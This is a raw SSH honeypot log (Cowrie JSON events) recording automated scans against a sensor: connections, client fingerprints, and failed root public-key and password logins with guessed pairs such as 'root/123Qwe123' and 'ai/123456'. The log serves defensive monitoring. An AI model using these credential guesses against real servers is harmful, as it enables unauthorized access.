{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58958,"dst_ip":"10.17.0.5","dst_port":22,"session":"771c52b0d56f","protocol":"ssh","message":"New connection: 192.109.200.78:58958 (10.17.0.5:22) [session: 771c52b0d56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.106249Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.106.159","src_port":43142,"dst_ip":"10.17.0.5","dst_port":22,"session":"5365e4b90601","protocol":"ssh","message":"New connection: 198.199.106.159:43142 (10.17.0.5:22) [session: 5365e4b90601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.136013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.139194Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.196707Z","src_ip":"192.109.200.78","session":"771c52b0d56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.200382Z","src_ip":"192.109.200.78","session":"771c52b0d56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.210186Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:7b:0b:e1:74:35:41:07:d8:81:4b:d6:61:10:d4:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZj8mNOdIR++awdttYjmpQoruPh5OvbPQl22d4TBX7BDhr1PAjvoFNgD3IaM+kjrutcmGuGUexegkHZASZC7dtbzPiF7k9jiHyfpeZ9TT22Zn3cypg2q8kEy7xhIiJNWHBp++lH+lQ2ll1cynKZl3vDSRooZTT+ELJuudeKcMIvmczzaZV3sY5WyK6ZRQU+nJfWE5FAXxXeK7WVdcOZQEj2hP5ocqks4eK8hdbKk02yx1esy0I07AqGHAW3XQ8hnpxUma4sPAGphPEstbkPFA8SRr44VPTBQkt9sYoqVRLfpCcuksrONdSwuWtjj1lm/xCyxxgtADtqEtQGd2RumCz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:7b:0b:e1:74:35:41:07:d8:81:4b:d6:61:10:d4:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.516683Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:7b:0b:e1:74:35:41:07:d8:81:4b:d6:61:10:d4:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZj8mNOdIR++awdttYjmpQoruPh5OvbPQl22d4TBX7BDhr1PAjvoFNgD3IaM+kjrutcmGuGUexegkHZASZC7dtbzPiF7k9jiHyfpeZ9TT22Zn3cypg2q8kEy7xhIiJNWHBp++lH+lQ2ll1cynKZl3vDSRooZTT+ELJuudeKcMIvmczzaZV3sY5WyK6ZRQU+nJfWE5FAXxXeK7WVdcOZQEj2hP5ocqks4eK8hdbKk02yx1esy0I07AqGHAW3XQ8hnpxUma4sPAGphPEstbkPFA8SRr44VPTBQkt9sYoqVRLfpCcuksrONdSwuWtjj1lm/xCyxxgtADtqEtQGd2RumCz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.519908Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:de:aa:25:a1:ff:f1:35:85:a9:4c:12:07:a6:4e:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrz1w0it905Ua/DBUb4OVEeRHs/x1tE3ZqwG+XVxfE6QN6ijNQlfrvcyx+LJRu1zVUImWKajui+K6DKgnUkWeHZvkiD09/KQyMQG0BKwcjsXs//OQxzBR217lD/rkRBxGCR1ZBac+gXzsQcU//4Gfs6c8A3026jqt8lvD0OY6yQXKtreKx4egm4jVpzL0X4WTgOZ449/FSLzj6oFxR8fmr/X9dHppB43QRQ0q4IsK9CyDYhpzkfmbc1MTeCf0tRkMPbvb8UUNOSOpNj79Dq+q7ZtAPVK3qXwv2Xxu0kMtLvqp/UVIQGrIQvINCo/g45BKsu0Tr60zem/AXovE0r+zx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:de:aa:25:a1:ff:f1:35:85:a9:4c:12:07:a6:4e:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.590229Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:de:aa:25:a1:ff:f1:35:85:a9:4c:12:07:a6:4e:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrz1w0it905Ua/DBUb4OVEeRHs/x1tE3ZqwG+XVxfE6QN6ijNQlfrvcyx+LJRu1zVUImWKajui+K6DKgnUkWeHZvkiD09/KQyMQG0BKwcjsXs//OQxzBR217lD/rkRBxGCR1ZBac+gXzsQcU//4Gfs6c8A3026jqt8lvD0OY6yQXKtreKx4egm4jVpzL0X4WTgOZ449/FSLzj6oFxR8fmr/X9dHppB43QRQ0q4IsK9CyDYhpzkfmbc1MTeCf0tRkMPbvb8UUNOSOpNj79Dq+q7ZtAPVK3qXwv2Xxu0kMtLvqp/UVIQGrIQvINCo/g45BKsu0Tr60zem/AXovE0r+zx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.593421Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.606807Z","src_ip":"192.109.200.78","session":"771c52b0d56f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:9d:42:2d:f4:26:6c:1c:a6:ab:a1:16:5b:1d:d0:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXu5Q6vSQBCVMGp1u8cRBCp3saYnjdks4ajSFHZtvu1Pn8aJaJ0nOMkllGe72kC//PMc7zIFVFdeUPaMxlhfrEwmqXVFQXmtI/MuFq/tF2PYcKhvzinppdVUY4wMuufyZtxlKDewf5IJclkvId8ZzVgKqwWgog9jtAvkofYhOfI0e+efXMHiVmUFZUWc+RQ7/RZR8W3Oocs8+hscb+MSHTMZRnCpO8AmJWAhDZNE5AZKMl/cubYChOldbGZoN4T5EF1pBPU/UwNQi/iJRYgcFp+s0PDYmjS3OsVjZn+Cp+KJkm8z+2Z8lWPHNCq1f+JzNwA6wTT8nozck5MR0pHYWjChr5dysuGnBN1e1RLgpFBVaR0ppbWh1RMadF+LDVQ9+jIOOJyknfK6YGBqRN5W0RhPVygoESJ6J/LA+0YwBvTDXle+SoElsRNFPgXXft8b6tcZEN4QS6Roj7uO5RVyQxKQa2ywep/Mics7oHLezDzLJzeCzJlEn2FDVrZiO7yvRYsBjqAXdnfJau9lxC0cKBpnh//I+6uCmkjAPH7HnlZj2w7RVCn1WIkpcEJtAXYbMr/BnaRXXeP907bRBo9xzKVLB7E99ZvRJ6fVOCasdqMtCjlZUBbcLSV4m6Hcl/0NaG/BYVwV+Yre5Xi5GWJKE0/Rw/adaCgKhOEn2oAeGdkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:9d:42:2d:f4:26:6c:1c:a6:ab:a1:16:5b:1d:d0:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.663565Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:9d:42:2d:f4:26:6c:1c:a6:ab:a1:16:5b:1d:d0:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXu5Q6vSQBCVMGp1u8cRBCp3saYnjdks4ajSFHZtvu1Pn8aJaJ0nOMkllGe72kC//PMc7zIFVFdeUPaMxlhfrEwmqXVFQXmtI/MuFq/tF2PYcKhvzinppdVUY4wMuufyZtxlKDewf5IJclkvId8ZzVgKqwWgog9jtAvkofYhOfI0e+efXMHiVmUFZUWc+RQ7/RZR8W3Oocs8+hscb+MSHTMZRnCpO8AmJWAhDZNE5AZKMl/cubYChOldbGZoN4T5EF1pBPU/UwNQi/iJRYgcFp+s0PDYmjS3OsVjZn+Cp+KJkm8z+2Z8lWPHNCq1f+JzNwA6wTT8nozck5MR0pHYWjChr5dysuGnBN1e1RLgpFBVaR0ppbWh1RMadF+LDVQ9+jIOOJyknfK6YGBqRN5W0RhPVygoESJ6J/LA+0YwBvTDXle+SoElsRNFPgXXft8b6tcZEN4QS6Roj7uO5RVyQxKQa2ywep/Mics7oHLezDzLJzeCzJlEn2FDVrZiO7yvRYsBjqAXdnfJau9lxC0cKBpnh//I+6uCmkjAPH7HnlZj2w7RVCn1WIkpcEJtAXYbMr/BnaRXXeP907bRBo9xzKVLB7E99ZvRJ6fVOCasdqMtCjlZUBbcLSV4m6Hcl/0NaG/BYVwV+Yre5Xi5GWJKE0/Rw/adaCgKhOEn2oAeGdkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.666349Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:af:30:62:49:0a:32:5d:5c:4a:d3:1b:26:52:b4:e7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPYofS/zpd993AyuhfamKEqHTn/V4c3Vgxu1nKAwykRy","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f9:af:30:62:49:0a:32:5d:5c:4a:d3:1b:26:52:b4:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.736014Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:af:30:62:49:0a:32:5d:5c:4a:d3:1b:26:52:b4:e7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPYofS/zpd993AyuhfamKEqHTn/V4c3Vgxu1nKAwykRy","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.738911Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:63:88:d3:8f:bb:e5:e6:6c:4e:67:f5:94:4d:51:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi+CO3ogBfAClMKoq6SyNTD15y8FD6++mS1EorbEyOpdwBjNE6K/fqitaigwynihXrioMYeYH5rG3hCvQPDDyZCP3Tqn4AZzlnBRxWhIE2zFpg2JWt7x7yYkyko0bLYgXwVQuY+WHXpK0TgJvdgER9FXDyF8+G/mrJzLvnsUp06+fm218vQh9Yr+DC3XuWdj0KTlZb8KTKOqrnaPnCSKjcLySo7NU9PShoOwNTATYhqVH6G9Px56ZjZAqwYo4Sz8vu7paNyWu6SE+WKkXDnq95oDYWjs+y4kw1VUhc4T8Cbq3p6+vW3cS1PdG4uUAxGT7HjYgGceBTyVM3TzIeflJf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:63:88:d3:8f:bb:e5:e6:6c:4e:67:f5:94:4d:51:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.805013Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:63:88:d3:8f:bb:e5:e6:6c:4e:67:f5:94:4d:51:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi+CO3ogBfAClMKoq6SyNTD15y8FD6++mS1EorbEyOpdwBjNE6K/fqitaigwynihXrioMYeYH5rG3hCvQPDDyZCP3Tqn4AZzlnBRxWhIE2zFpg2JWt7x7yYkyko0bLYgXwVQuY+WHXpK0TgJvdgER9FXDyF8+G/mrJzLvnsUp06+fm218vQh9Yr+DC3XuWdj0KTlZb8KTKOqrnaPnCSKjcLySo7NU9PShoOwNTATYhqVH6G9Px56ZjZAqwYo4Sz8vu7paNyWu6SE+WKkXDnq95oDYWjs+y4kw1VUhc4T8Cbq3p6+vW3cS1PdG4uUAxGT7HjYgGceBTyVM3TzIeflJf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.807474Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:22.875875Z","src_ip":"198.199.106.159","session":"5365e4b90601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:23.691774Z","src_ip":"192.109.200.78","session":"771c52b0d56f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58960,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f8cf497e7f","protocol":"ssh","message":"New connection: 192.109.200.78:58960 (10.17.0.5:22) [session: 51f8cf497e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:25.590493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:25.730751Z","src_ip":"192.109.200.78","session":"51f8cf497e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:25.733663Z","src_ip":"192.109.200.78","session":"51f8cf497e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"123456","message":"login attempt [ai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:26.170014Z","src_ip":"192.109.200.78","session":"51f8cf497e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:27.253086Z","src_ip":"192.109.200.78","session":"51f8cf497e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":59224,"dst_ip":"159.203.135.109","dst_port":22,"session":"3382ff0b3ada","protocol":"ssh","message":"New connection: 152.32.171.213:59224 (159.203.135.109:22) [session: 3382ff0b3ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:28.040636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:28.044553Z","src_ip":"152.32.171.213","session":"3382ff0b3ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:28.263761Z","src_ip":"152.32.171.213","session":"3382ff0b3ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58974,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcb01cf35dd9","protocol":"ssh","message":"New connection: 192.109.200.78:58974 (10.17.0.5:22) [session: bcb01cf35dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:29.150957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:29.155401Z","src_ip":"192.109.200.78","session":"bcb01cf35dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123","message":"login attempt [root/123Qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:29.174340Z","src_ip":"152.32.171.213","session":"3382ff0b3ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:29.359070Z","src_ip":"192.109.200.78","session":"bcb01cf35dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:29.795696Z","src_ip":"192.109.200.78","session":"bcb01cf35dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:30.397486Z","src_ip":"152.32.171.213","session":"3382ff0b3ada","protocol":"ssh"}
